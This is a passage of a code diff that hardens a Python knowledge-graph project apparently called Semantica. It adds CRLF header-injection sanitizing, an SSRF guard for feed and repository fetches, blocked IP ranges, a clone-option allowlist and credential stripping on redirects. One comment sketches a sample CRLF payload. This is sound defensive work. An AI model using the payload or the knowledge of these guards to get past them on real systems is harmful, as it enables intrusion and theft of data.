+                # otherwise a payload like {"id": "<crlf>", "properties": {}} skips
+                # _sanitize_import_node_id() completely (CWE-20/CWE-113 bypass).
+                safe_node_id = _sanitize_import_node_id(
+                    raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))
+                )
+                nodes.append({**raw_node, "id": safe_node_id})
                 continue
             metadata = raw_node.get("metadata", {}) or {}
             nodes.append(
                 {
-                    "id": str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
+                    "id": _sanitize_import_node_id(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
                     "type": raw_node.get("type", "entity"),
                     "properties": {
                         "content": raw_node.get("text", raw_node.get("content", raw_node.get("id", ""))),
@@ -102,8 +137,8 @@ async def import_file(
                 {
                     "id": raw_edge.get("id", raw_edge.get("edge_id")),
                     "familyId": raw_edge.get("familyId", raw_edge.get("family_id")),
-                    "source_id": str(source),
-                    "target_id": str(target),
+                    "source_id": _sanitize_import_node_id(source),
+                    "target_id": _sanitize_import_node_id(target),
                     "type": raw_edge.get("type", raw_edge.get("relationship", "related_to")),
                     "weight": float(raw_edge.get("weight", 1.0)),
                     "properties": edge_properties,
@@ -159,8 +194,8 @@ async def import_file(
                     {
                         "id": row.get("id") or row.get("edge_id"),
                         "familyId": row.get("familyId") or row.get("family_id"),
-                        "source_id": str(source),
-                        "target_id": str(target),
+                        "source_id": _sanitize_import_node_id(source),
+                        "target_id": _sanitize_import_node_id(target),
                         "type": row.get("type") or row.get("relationship") or row.get(":TYPE") or "related_to",
                         "weight": float(row.get("weight", 1.0) or 1.0),
                         "properties": edge_props,
@@ -174,7 +209,7 @@ async def import_file(
                 }
                 nodes.append(
                     {
-                        "id": str(node_id),
+                        "id": _sanitize_import_node_id(node_id),
                         "type": row.get("type") or row.get("label") or row.get(":LABEL") or "entity",
                         "properties": node_props,
                     }

semantica/explorer/routes/provenance.py

@@ -5,6 +5,7 @@ Provenance routes for lineage visualization and exportable reports.
 import asyncio
 import json
 import logging
+import re
 from typing import Any, Dict, List, Optional
 
 import networkx as nx
@@ -19,6 +20,24 @@ from ...provenance.integrity import verify_checksum
 logger = logging.getLogger(__name__)
 router = APIRouter(prefix="/api/provenance", tags=["Power User Tools"])
 
+# SECURITY: Strip characters that could break out of a Content-Disposition
+# filename= value and inject new HTTP response headers (CWE-113 / CRLF injection).
+# \r, \n, \x00 are the primary header-splitting vectors; " and \ would close
+# or escape the filename attribute.
+_UNSAFE_FILENAME_CHARS = re.compile(r'[\r\n\x00"\\]')
+_MAX_FILENAME_ID_LEN = 128
+
+
+def _safe_content_disposition_filename(node_id: str, suffix: str) -> str:
+    """Return a sanitized Content-Disposition filename for the given node_id.
+
+    Strips CR, LF, NUL, double-quotes, and backslashes that could split HTTP
+    response headers or escape the filename attribute, then length-caps the
+    result so it never produces an excessively long header value.
+    """
+    sanitized = _UNSAFE_FILENAME_CHARS.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN]
+    return f"{sanitized}{suffix}"
+
 _AGENT_TYPES = {"person", "organization", "system", "agent"}
 _ACTIVITY_TYPES = {"action", "event", "process", "activity", "decision", "publication"}
 
@@ -333,12 +352,12 @@ async def export_provenance_report(
         content = _render_markdown(report)
         return PlainTextResponse(
             content,
-            headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.md"'},
+            headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.md")}"'},
         )
 
     content = json.dumps(report, indent=2, default=str)
     return Response(
         content=content,
         media_type="application/json",
-        headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.json"'},
+        headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.json")}"'},
     )

semantica/explorer/session.py

@@ -375,6 +375,19 @@ class GraphSession:
         )
         return page, total
 
+    def get_raw_counts(self) -> tuple[int, int]:
+        """O(1) node/edge counts from the raw collections, with no per-item
+        normalization.
+
+        ``paginate_nodes``/``paginate_edges`` always normalize the *entire*
+        matching set before applying ``limit``, so callers that need to reject
+        an oversized graph before paying that cost (e.g. link prediction's DoS
+        guard) should check this first rather than inspecting the ``total``
+        returned by ``get_nodes``/``get_edges`` after the fact.
+        """
+        with self._lock:
+            return len(self.graph.nodes), len(self.graph.edges)
+
     def paginate_edges(
         self,
         edge_type: Optional[str] = None,

semantica/export/distance_exporter.py

@@ -11,17 +11,20 @@ Python API:
     df = exporter.to_dataframe(include=["hops", "semantic_similarity", "distance_band"])
     exporter.to_csv("distances.csv")
     exporter.to_jsonl("distances.jsonl")
+
+    # Include error status columns for auditable exports:
+    df = exporter.to_dataframe(include=["hop_count", "metric_errors"])
 """
 
 import csv
 import io
 import json
-from typing import Any, Dict, List, Optional
+from typing import Any, Dict, List, Optional, Tuple
 
 from ..utils.helpers import classify_path_distance
 from ..utils.logging import get_logger
 
-logger = get_logger(__name__)
+logger = get_logger("export.distance_exporter")
 
 _KG_AVAILABLE = False
 try:
@@ -36,6 +39,9 @@ _ALL_COLUMNS = [
     "distance_band", "source_betweenness", "target_betweenness",
 ]
 
+# Error status columns — opt-in via include=["metric_errors"]
+# (used by compute_pairs when "metric_errors" is in include set)
+
 
 class DistanceExporter:
     """Compute and export pairwise distance metrics for a ContextGraph."""
@@ -65,59 +71,77 @@ class DistanceExporter:
         node = getattr(self.graph, "nodes", {}).get(node_id)
         return getattr(node, "node_type", "") if node else ""
 
-    def _betweenness(self, graph_dict: Dict[str, Any]) -> Dict[str, float]:
+    def _betweenness(self, graph_dict: Dict[str, Any]) -> Tuple[Dict[str, float], Optional[str]]:
+        """Return (betweenness_dict, error). error is None on success."""
         if self._centrality is None:
-            return {}
+            return {}, None
         try:
             result = self._centrality.calculate_betweenness_centrality(graph_dict)
-            return result.get("betweenness", {}) if isinstance(result, dict) else {}
+            return (result.get("betweenness", {}) if isinstance(result, dict) else {}), None
         except Exception:
-            return {}
+            logger.warning("Betweenness centrality computation failed; omitting from export", exc_info=True)
+            return {}, "betweenness"
 
-    def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[int]:
+    def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[int], Optional[str]]:
+        """Return (hop_count, error). error is None on success or a short description on failure."""
         if self._path_finder is None:
-            return None
+            return None, None  # KG unavailable — not an error, just no data
         try:
             result = self._path_finder.bfs_shortest_path(graph_dict, src, tgt)
             path = result.get("path", []) if isinstance(result, dict) else (result or [])
-            return len(path) - 1 if path else None
+            return (len(path) - 1 if path else None), None
         except Exception:
-            return None
+            logger.warning("Hop distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
+            return None, "hop_count"
 
-    def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
+    def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
+        """Return (weighted_distance, error). error is None on success."""
         if self._path_finder is None:
-            return None
+            return None, None
         try:
             result = self._path_finder.dijkstra_shortest_path(graph_dict, src, tgt)
             if isinstance(result, dict):
-                return float(result.get("total_weight", len(result.get("path", [])) - 1))
-            return None
+                return float(result.get("total_weight", len(result.get("path", [])) - 1)), None
+            return None, None
         except Exception:
-            return None
+            logger.warning("Weighted distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
+            return None, "weighted_distance"
 
-    def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
+    def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
+        """Return (similarity, error). error is None on success."""
         if self._similarity is None:
-            return None
+            return None, None
         try:
             sim = self._similarity.cosine_similarity(graph_dict, src, tgt)
-            return float(sim) if isinstance(sim, (int, float)) else None
+            return (float(sim) if isinstance(sim, (int, float)) else None), None
         except Exception:
-            return None
+            logger.warning("Semantic similarity computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
+            return None, "semantic_similarity"
 
     def compute_pairs(
         self,
         include: Optional[List[str]] = None,
         node_subset: Optional[List[str]] = None,
     ) -> List[Dict[str, Any]]:
-        """Compute all pairwise distance metrics and return as a list of dicts."""
+        """Compute all pairwise distance metrics and return as a list of dicts.
+
+        When ``include`` contains ``"metric_errors"``, each row gains a
+        ``metric_errors`` field: an empty string when all metrics succeeded, or
+        a comma-separated list of metric names that raised during computation
+        (e.g. ``"hop_count,weighted_distance"``). This lets downstream consumers
+        distinguish legitimate ``None`` (no path) from computation failure.
+        """
         include_set = set(include or _ALL_COLUMNS)
+        track_errors = "metric_errors" in include_set
+        include_set.discard("metric_errors")  # not a real metric to compute
         graph_dict = self._build_graph_dict()
 
         node_ids = node_subset or list(self.graph.nodes.keys())
 
         betweenness: Dict[str, float] = {}
+        betweenness_err: Optional[str] = None
         if "source_betweenness" in include_set or "target_betweenness" in include_set:
-            betweenness = self._betweenness(graph_dict)
+            betweenness, betweenness_err = self._betweenness(graph_dict)
 
         rows = []
         for i, src in enumerate(node_ids):
@@ -125,6 +149,10 @@ class DistanceExporter:
                 if src == tgt:
                     continue
                 row: Dict[str, Any] = {}
+                errors: List[str] = []
+                if betweenness_err:
+                    errors.append(betweenness_err)
+
                 if "source_id" in include_set:
                     row["source_id"] = src
                 if "source_type" in include_set:
@@ -136,15 +164,23 @@ class DistanceExporter:
 
                 hop_count: Optional[int] = None
                 if "hop_count" in include_set or "distance_band" in include_set:
-                    hop_count = self._hop_distance(graph_dict, src, tgt)
+                    hop_count, hop_err = self._hop_distance(graph_dict, src, tgt)
+                    if hop_err:
+                        errors.append(hop_err)
                     if "hop_count" in include_set:
                         row["hop_count"] = hop_count
 
                 if "weighted_distance" in include_set:
-                    row["weighted_distance"] = self._weighted_distance(graph_dict, src, tgt)
+                    wd_val, wd_err = self._weighted_distance(graph_dict, src, tgt)
+                    row["weighted_distance"] = wd_val
+                    if wd_err:
+                        errors.append(wd_err)
 
                 if "semantic_similarity" in include_set:
-                    row["semantic_similarity"] = self._semantic_similarity(graph_dict, src, tgt)
+                    ss_val, ss_err = self._semantic_similarity(graph_dict, src, tgt)
+                    row["semantic_similarity"] = ss_val
+                    if ss_err:
+                        errors.append(ss_err)
 
                 if "distance_band" in include_set:
                     row["distance_band"] = classify_path_distance(hop_count) if hop_count is not None else "distant"
@@ -154,6 +190,9 @@ class DistanceExporter:
                 if "target_betweenness" in include_set:
                     row["target_betweenness"] = betweenness.get(tgt)
 
+                if track_errors:
+                    row["metric_errors"] = ",".join(errors) if errors else ""
+
                 rows.append(row)
         return rows
 

semantica/ingest/feed_ingestor.py

@@ -42,6 +42,7 @@ from bs4 import BeautifulSoup
 from ..utils.exceptions import ProcessingError, ValidationError
 from ..utils.logging import get_logger
 from ..utils.progress_tracker import get_progress_tracker
+from .ssrf import parse_bool, request_with_ssrf_guard
 
 
 @dataclass
@@ -425,6 +426,9 @@ class FeedMonitor:
         self.thread: Optional[threading.Thread] = None
         self.update_callback: Optional[callable] = None
         self.check_interval = config.get("check_interval", 3600)  # Default 1 hour
+        self.allow_private_ips = parse_bool(
+            config.get("allow_private_ips"), default=False
+        )
 
     def add_feed(self, feed_url: str, **options):
         """
@@ -485,7 +489,12 @@ class FeedMonitor:
 
         try:
             # Fetch feed
-            response = requests.get(feed_url, timeout=30)
+            response = request_with_ssrf_guard(
+                "GET",
+                feed_url,
+                allow_private_ips=self.allow_private_ips,
+                timeout=30,
+            )
             response.raise_for_status()
 
             # Parse feed
@@ -575,6 +584,9 @@ class FeedIngestor:
         self.logger = get_logger("feed_ingestor")
         self.config = config or {}
         self.config.update(kwargs)
+        self.allow_private_ips = parse_bool(
+            self.config.get("allow_private_ips"), default=False
+        )
 
         # Initialize feed parser
         self.parser = FeedParser(**self.config)
@@ -638,7 +650,12 @@ class FeedIngestor:
                 request_timeout = timeout or options.get(
                     "timeout", self.config.get("timeout", 30)
                 )
-                response = requests.get(feed_url, timeout=request_timeout)
+                response = request_with_ssrf_guard(
+                    "GET",
+                    feed_url,
+                    allow_private_ips=self.allow_private_ips,
+                    timeout=request_timeout,
+                )
                 response.raise_for_status()
                 self.logger.debug(
                     f"Fetched feed from {feed_url}: {len(response.text)} bytes"
@@ -693,7 +710,12 @@ class FeedIngestor:
 
         try:
             # Fetch website content
-            response = requests.get(website_url, timeout=30)
+            response = request_with_ssrf_guard(
+                "GET",
+                website_url,
+                allow_private_ips=self.allow_private_ips,
+                timeout=30,
+            )
             response.raise_for_status()
 
             # Parse HTML
@@ -723,7 +745,12 @@ class FeedIngestor:
             for path in common_paths:
                 try:
                     feed_url = urljoin(website_url, path)
-                    test_response = requests.head(feed_url, timeout=10)
+                    test_response = request_with_ssrf_guard(
+                        "HEAD",
+                        feed_url,
+                        allow_private_ips=self.allow_private_ips,
+                        timeout=10,
+                    )
                     if test_response.status_code == 200:
                         content_type = test_response.headers.get("Content-Type", "")
                         if (
@@ -741,7 +768,12 @@ class FeedIngestor:
             for feed_url in feed_urls:
                 try:
                     # Quick validation by fetching feed
-                    test_response = requests.get(feed_url, timeout=10)
+                    test_response = request_with_ssrf_guard(
+                        "GET",
+                        feed_url,
+                        allow_private_ips=self.allow_private_ips,
+                        timeout=10,
+                    )
                     if test_response.status_code == 200:
                         validated_feeds.append(feed_url)
                 except Exception:

semantica/ingest/methods.py

@@ -174,6 +174,7 @@ Example Usage:
 
 from __future__ import annotations
 
+import re
 from pathlib import Path
 from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Union
 
@@ -183,6 +184,14 @@ from .config import ingest_config
 from .file_ingestor import FileIngestor, FileObject
 from .registry import method_registry
 
+# SCP-like SSH remotes (user@host:path) — keep in sync with repo_ingestor
+_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
+
+
+def _is_scp_like_repo_source(source: str) -> bool:
+    """Return True for scp-like SSH remotes (``user@host:path``)."""
+    return bool(_SCP_LIKE_REPO_URL_RE.match(source.strip()))
+
 if TYPE_CHECKING:
     from .api_ingestor import APIData
     from .arrow_ingestor import ArrowData
@@ -880,7 +889,10 @@ def ingest_repository(
 
         if method == "clone" or (
             isinstance(source, str)
-            and source.startswith(("http://", "https://", "git@"))
+            and (
+                source.startswith(("http://", "https://"))
+                or _is_scp_like_repo_source(source)
+            )
         ):
             return ingestor.ingest_repository(source, **kwargs)
         elif method == "analyze":
@@ -1336,7 +1348,7 @@ def ingest(
                 ("postgresql://", "mysql://", "sqlite://", "oracle://", "mssql://")
             ):
                 source_type = "db"
-            elif source_str.startswith("git@") or source_str_lower.startswith(
+            elif _is_scp_like_repo_source(source_str) or source_str_lower.startswith(
                 ("https://github.com", "https://gitlab.com")
             ):
                 source_type = "repo"

semantica/ingest/repo_ingestor.py

@@ -29,14 +29,20 @@ Author: Semantica Contributors
 License: MIT
 """
 
+import ipaddress
 import os
 import re
 import shutil
+import socket
 import tempfile
+import threading
+import time
+from collections import OrderedDict
 from dataclasses import dataclass, field
 from datetime import datetime
 from pathlib import Path
-from typing import Any, Dict, List, Optional
+from typing import Any, Dict, List, Optional, Set, Tuple, Union
+from urllib.parse import urlparse
 
 import git
 
@@ -44,6 +50,33 @@ from ..utils.exceptions import ProcessingError, ValidationError
 from ..utils.logging import get_logger
 from ..utils.progress_tracker import get_progress_tracker
 
+# Safe subset of GitPython clone_from kwargs. Broader kwargs (multi_options,
+# upload_pack, template, config, env, …) have been used in denylist-bypass
+# attacks against older GitPython releases — keep them out of the call surface.
+ALLOWED_CLONE_OPTIONS: Set[str] = {"depth", "branch", "single_branch", "no_tags"}
+ALLOWED_REPO_URL_SCHEMES = frozenset({"https", "http", "git", "ssh"})
+# SCP-like SSH remotes: user@host:path/to/repo.git (no scheme)
+_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
+_ENV_VAR_TOKEN_RE = re.compile(
+    r"\$(\{[A-Za-z_][A-Za-z0-9_]*\}|[A-Za-z_][A-Za-z0-9_]*)"
+)
+# Short-lived DNS cache for host validation. This reduces repeated lookups but
+# does not eliminate DNS-rebinding / TOCTOU races between validate and clone —
+# network egress controls remain recommended.
+_REPO_HOST_RESOLVE_CACHE: "OrderedDict[str, Tuple[float, Tuple[str, ...]]]" = (
+    OrderedDict()
+)
+_REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = 60.0
+_REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = 1024
+# Guards all reads/writes/prunes of _REPO_HOST_RESOLVE_CACHE. The cache is a
+# module-level OrderedDict shared by every RepoIngestor instance and every
+# thread; without a lock, concurrent ingest_repository() calls can mutate the
+# dict while another thread is iterating it (e.g. during pruning), raising
+# "RuntimeError: OrderedDict mutated during iteration". The blocking
+# socket.getaddrinfo() call is intentionally kept outside this lock so a slow
+# DNS lookup for one host cannot stall cache access for other hosts.
+_REPO_HOST_RESOLVE_CACHE_LOCK = threading.Lock()
+
 
 @dataclass
 class CodeFile:
@@ -509,6 +542,287 @@ class RepoIngestor:
 
         self.logger.debug("Repo ingestor initialized")
 
+    @staticmethod
+    def _is_scp_like_repo_url(repo_url: str) -> bool:
+        """Return True for scp-like SSH remotes (``user@host:path``)."""
+        url = repo_url.strip()
+        # Avoid treating scheme URLs with userinfo as scp-like (e.g. https://u@h/...)
+        if "://" in url:
+            return False
+        return bool(_SCP_LIKE_REPO_URL_RE.match(url))
+
+    @staticmethod
+    def _scp_like_host(repo_url: str) -> str:
+        """Extract the hostname from an scp-like remote (``user@host:path``)."""
+        _, rest = repo_url.strip().split("@", 1)
+        host, _ = rest.split(":", 1)
+        return host
+
+    @staticmethod
+    def _normalize_repo_url(repo_url: str) -> str:
+        """Normalize scp-like remotes to ``ssh://`` URLs; leave others unchanged.
+
+        ``git@host:org/repo.git`` → ``ssh://git@host/org/repo.git``
+        """
+        url = repo_url.strip()
+        if not RepoIngestor._is_scp_like_repo_url(url):
+            return url
+        user_host, path = url.split(":", 1)
+        if not path.startswith("/"):
+            path = f"/{path}"
+        return f"ssh://{user_host}{path}"
+
+    @staticmethod
+    def _is_blocked_ip(
+        ip: Union[ipaddress.IPv4Address, ipaddress.IPv6Address],
+    ) -> bool:
+        """Return True if *ip* is an SSRF-sensitive address.
+
+        Blocks private (RFC1918/ULA), loopback, link-local (including
+        169.254.x.x / fe80::/10 cloud-metadata ranges), and unspecified
+        addresses.
+
+        Intentionally does **not** use ``ip.is_reserved``: Python's
+        ``ipaddress`` module marks the NAT64 Well-Known Prefix
+        (64:ff9b::/96, RFC 6052) as reserved, which causes false positives
+        on IPv6-only and dual-stack networks that use NAT64 for public
+        Internet access (e.g., github.com resolves to 64:ff9b::… on such
+        networks). Those addresses are not SSRF-sensitive.
+        """
+        return bool(
+            ip.is_private
+            or ip.is_loopback
+            or ip.is_link_local
+            or ip.is_unspecified
+        )
+
+    @staticmethod
+    def _resolve_repo_host_ips(host: str) -> Tuple[str, ...]:
+        """Resolve *host* to IP strings via ``socket.getaddrinfo``, with TTL cache.
+
+        Note: caching and pre-clone resolution mitigate repeated lookups but
+        cannot fully prevent DNS rebinding between validation and clone.
+        Prefer network-layer egress controls for defense in depth.
+        """
+        cache_key = host.lower().rstrip(".")
+        now = time.monotonic()
+        with _REPO_HOST_RESOLVE_CACHE_LOCK:
+            RepoIngestor._prune_repo_host_resolve_cache_locked(now)
+            cached = _REPO_HOST_RESOLVE_CACHE.get(cache_key)
+            if cached is not None:
+                expires_at, ips = cached
+                if now < expires_at:
+                    _REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
+                    return ips
+                _REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
+
+        # DNS resolution is blocking I/O; keep it outside the lock so a slow
+        # or hanging lookup for one host cannot stall cache access for
+        # concurrent lookups of other hosts.
+        try:
+            addrinfos = socket.getaddrinfo(
+                host, None, type=socket.SOCK_STREAM
+            )
+        except socket.gaierror as exc:
+            raise ValidationError(
+                f"Cannot resolve repository host {host!r}: {exc}"
+            ) from exc
+
+        ips: List[str] = []
+        seen: Set[str] = set()
+        for _family, _type, _proto, _canonname, sockaddr in addrinfos:
+            addr = sockaddr[0]
+            if addr not in seen:
+                seen.add(addr)
+                ips.append(addr)
+
+        if not ips:
+            raise ValidationError(
+                f"Cannot resolve repository host {host!r}: no addresses"
+            )
+
+        result = tuple(ips)
+        with _REPO_HOST_RESOLVE_CACHE_LOCK:
+            now = time.monotonic()
+            _REPO_HOST_RESOLVE_CACHE[cache_key] = (
+                now + _REPO_HOST_RESOLVE_CACHE_TTL_SECONDS,
+                result,
+            )
+            _REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
+            RepoIngestor._prune_repo_host_resolve_cache_locked(now)
+        return result
+
+    @staticmethod
+    def _prune_repo_host_resolve_cache(now: Optional[float] = None) -> None:
+        """Remove expired host entries and enforce a hard cache size cap.
+
+        Acquires ``_REPO_HOST_RESOLVE_CACHE_LOCK``. Callers that already hold
+        the lock must use ``_prune_repo_host_resolve_cache_locked`` instead to
+        avoid deadlocking on the (non-reentrant) lock.
+        """
+        if now is None:
+            now = time.monotonic()
+        with _REPO_HOST_RESOLVE_CACHE_LOCK:
+            RepoIngestor._prune_repo_host_resolve_cache_locked(now)
+
+    @staticmethod
+    def _prune_repo_host_resolve_cache_locked(now: Optional[float] = None) -> None:
+        """Prune implementation; caller must already hold the cache lock."""
+        if now is None:
+            now = time.monotonic()
+
+        expired_keys = [
+            cache_key
+            for cache_key, (expires_at, _ips) in _REPO_HOST_RESOLVE_CACHE.items()
+            if expires_at <= now
+        ]
+        for cache_key in expired_keys:
+            _REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
+
+        while len(_REPO_HOST_RESOLVE_CACHE) > _REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES:
+            _REPO_HOST_RESOLVE_CACHE.popitem(last=False)
+
+    @staticmethod
+    def _validate_repo_host(host: str) -> None:
+        """Reject localhost names and hosts resolving to blocked addresses.
+
+        Literal IPs are checked directly. Hostnames are resolved with
+        ``socket.getaddrinfo`` and **every** returned address is screened.
+        """
+        if not host:
+            raise ValidationError("Repository URL must include a host")
+
+        lowered = host.lower().rstrip(".")
+        if lowered == "localhost" or lowered.endswith(".localhost"):
+            raise ValidationError(f"Repository host is not allowed: {host}")
+
+        try:
+            ip = ipaddress.ip_address(host)
+        except ValueError:
+            # Hostname: resolve and validate all returned addresses
+            for addr in RepoIngestor._resolve_repo_host_ips(host):
+                try:
+                    resolved = ipaddress.ip_address(addr)
+                except ValueError:
+                    continue
+                if RepoIngestor._is_blocked_ip(resolved):
+                    raise ValidationError(
+                        f"Repository host resolves to a blocked address: "
+                        f"{host} -> {addr}"
+                    )
+            return
+
+        if RepoIngestor._is_blocked_ip(ip):
+            raise ValidationError(
+                f"Repository host resolves to a blocked address: {host}"
+            )
+
+    @staticmethod
+    def _is_local_repo_path(repo_url: str) -> bool:
+        """Return True if *repo_url* looks like a local filesystem path.
+
+        Matches absolute paths (``/…``, ``C:\\…``), relative paths
+        (``./…``, ``../…``), and bare names without a scheme or ``@host:``
+        pattern that would be interpreted as a local path by git.
+        """
+        url = repo_url.strip()
+        if "://" in url:
+            return False
+        if RepoIngestor._is_scp_like_repo_url(url):
+            return False
+        # Absolute POSIX or Windows paths, or relative paths
+        p = Path(url)
+        if p.is_absolute():
+            return True
+        # ./  or ../
+        if url.startswith(("./", "../", ".\\", "..\\")):
+            return True
+        # Existing local directory (best-effort; may not exist yet during tests)
+        if p.exists():
+            return True
+        return False
+
+    @staticmethod
+    def _validate_repo_url(repo_url: str) -> None:
+        """Validate a repository URL before cloning.
+
+        Accepts http(s)/git/ssh URLs, scp-like SSH remotes
+        (``user@host:path``), and local filesystem paths.  Rejects empty
+        values, unsupported schemes, missing hosts, environment variable
+        expansion tokens (``$VAR`` / ``${VAR}``), and hosts that are or
+        resolve to private / loopback / link-local addresses.
+
+        Local filesystem paths bypass network validation because
+        ``git clone /path/to/local/repo`` makes no network requests and
+        carries no SSRF risk.
+
+        DNS resolution is TOCTOU-sensitive (rebinding); pair with egress
+        controls in production deployments.
+        """
+        if not isinstance(repo_url, str) or not repo_url.strip():
+            raise ValidationError("Repository URL must be a non-empty string")
+
+        # Defense-in-depth against GitPython env-var expansion in clone URLs
+        # (GHSA-2f96-g7mh-g2hx / related). Prefer rejecting before clone_from.
+        if _ENV_VAR_TOKEN_RE.search(repo_url):
+            raise ValidationError(
+                "Repository URL must not contain environment variable "
+                "references ($VAR / ${VAR})"
+            )
+
+        url = repo_url.strip()
+
+        # Local filesystem paths: no network, no SSRF risk — skip host checks.
+        if RepoIngestor._is_local_repo_path(url):
+            return
+
+        # scp-like syntax has no URL scheme; validate host then accept.
+        if RepoIngestor._is_scp_like_repo_url(url):
+            RepoIngestor._validate_repo_host(RepoIngestor._scp_like_host(url))
+            return
+
+        try:
+            parsed = urlparse(url)
+            # ``hostname`` can raise ValueError for malformed netloc (e.g. bad IPv6)
+            host = parsed.hostname
+        except ValueError as e:
+            raise ValidationError(f"Invalid repository URL: {e}") from e
+
+        scheme = (parsed.scheme or "").lower()
+        if scheme not in ALLOWED_REPO_URL_SCHEMES:
+            raise ValidationError(
+                f"Unsupported repository URL scheme {scheme!r}. "
+                f"Allowed schemes: {sorted(ALLOWED_REPO_URL_SCHEMES)}"
+            )
+        if not parsed.netloc or not host:
+            raise ValidationError(
+                f"Repository URL must include a host: {repo_url}"
+            )
+
+        RepoIngestor._validate_repo_host(host)
+
+    @staticmethod
+    def _filter_clone_options(options: Dict[str, Any]) -> Dict[str, Any]:
+        """Return only allowlisted git clone kwargs; reject anything else."""
+        # Semantica processing options — never forwarded to clone_from
+        non_git_options = {
+            "include_history",
+            "file_filters",
+            "commit_filters",
+            "include_extensions",
+            "max_depth",
+        }
+        candidate = {
+            k: v for k, v in options.items() if k not in non_git_options
+        }
+        unsafe = set(candidate) - ALLOWED_CLONE_OPTIONS
+        if unsafe:
+            raise ValidationError(
+                f"Clone option(s) not permitted: {sorted(unsafe)}. "
+                f"Allowed options: {sorted(ALLOWED_CLONE_OPTIONS)}"
+            )
+        return candidate
+
     def ingest_repository(self, repo_url: str, **options) -> Dict[str, Any]:
         """
         Ingest and process a Git repository.
@@ -518,6 +832,8 @@ class RepoIngestor:
             **options: Processing options:
                 - branch: Specific branch to checkout
                 - depth: Clone depth (for shallow clones)
+                - single_branch: Clone only a single branch
+                - no_tags: Skip cloning tags
                 - include_history: Whether to include commit history
                 - include_extensions: List of file extensions to include (e.g., ["py", "md"])
 
@@ -533,27 +849,19 @@ class RepoIngestor:
         )
 
         try:
+            # Validate repository URL before any clone attempt
+            self._validate_repo_url(repo_url)
+            clone_url = self._normalize_repo_url(repo_url)
+
             # Handle option aliases and filters
             if "max_depth" in options and "depth" not in options:
                 options["depth"] = options["max_depth"]
 
-            # Separate git clone options from processing options
-            # We filter out known non-git options to avoid passing invalid flags to git clone
-            non_git_options = {
-                "include_history",
-                "file_filters",
-                "commit_filters",
-                "include_extensions",
-                "max_depth",
-            }
-            clone_options = {
-                k: v for k, v in options.items() if k not in non_git_options
-            }
+            clone_options = self._filter_clone_options(options)
 
-            # Validate repository URL
             try:
                 parsed = git.Repo.clone_from(
-                    repo_url, self._get_temp_dir(), **clone_options
+                    clone_url, self._get_temp_dir(), **clone_options
                 )
             except Exception as e:
                 self.progress_tracker.update_tracking(
@@ -627,6 +935,12 @@ class RepoIngestor:
                 "temp_path": str(repo_path),
             }
 
+        except ValidationError as e:
+            # Keep validation failures typed for callers; do not wrap as ProcessingError
+            self.progress_tracker.update_tracking(
+                tracking_id, status="failed", message=str(e)
+            )
+            raise
         except Exception as e:
             self.progress_tracker.update_tracking(
                 tracking_id, status="failed", message=str(e)

semantica/ingest/ssrf.py

@@ -33,6 +33,46 @@ _DEFAULT_MAX_REDIRECTS = 10
 _REDIRECT_STATUS_CODES = frozenset({301, 302, 303, 307, 308})
 _STRIP_BODY_ON_REDIRECT = frozenset({301, 302, 303})
 
+# Standard port per scheme (mirrors requests' DEFAULT_PORTS).
+_DEFAULT_PORTS = {"http": 80, "https": 443}
+
+
+def _should_strip_auth(old_url: str, new_url: str) -> bool:
+    """Decide whether credentials must not follow a redirect.
+
+    Mirrors ``requests.utils.should_strip_auth``: credentials are stripped
+    when the hostname changes, when the port changes (outside default
+    ports), or on an https -> http downgrade on the same host. The single
+    exception is an http -> https upgrade on default ports, which requests
+    treats as safe to keep the credential for.
+    """
+    old_parsed = urlparse(old_url)
+    new_parsed = urlparse(new_url)
+
+    if old_parsed.hostname != new_parsed.hostname:
+        return True
+
+    # Special case: allow http -> https redirect on standard ports.
+    if (
+        old_parsed.scheme == "http"
+        and old_parsed.port in (80, None)
+        and new_parsed.scheme == "https"
+        and new_parsed.port in (443, None)
+    ):
+        return False
+
+    changed_port = old_parsed.port != new_parsed.port
+    changed_scheme = old_parsed.scheme != new_parsed.scheme
+    default_port = (_DEFAULT_PORTS.get(old_parsed.scheme), None)
+    if (
+        not changed_scheme
+        and old_parsed.port in default_port
+        and new_parsed.port in default_port
+    ):
+        return False
+
+    return changed_port or changed_scheme
+
 _dns_executor: Optional[concurrent.futures.ThreadPoolExecutor] = None
 _dns_executor_lock = threading.Lock()
 
@@ -276,6 +316,16 @@ def request_with_ssrf_guard(
         next_url = urljoin(current_url, str(location).strip())
         validate_url_for_request(next_url, allow_private_ips=allow_private_ips)
 
+        # Do not leak sensitive headers to a different origin on redirects:
+        # reuse the caller's headers only while host, port, and scheme keep
+        # the credential safe, mirroring requests' should_strip_auth.
+        if _should_strip_auth(current_url, next_url):
+            kwargs = dict(kwargs)
+            headers = dict(kwargs.get("headers") or {})
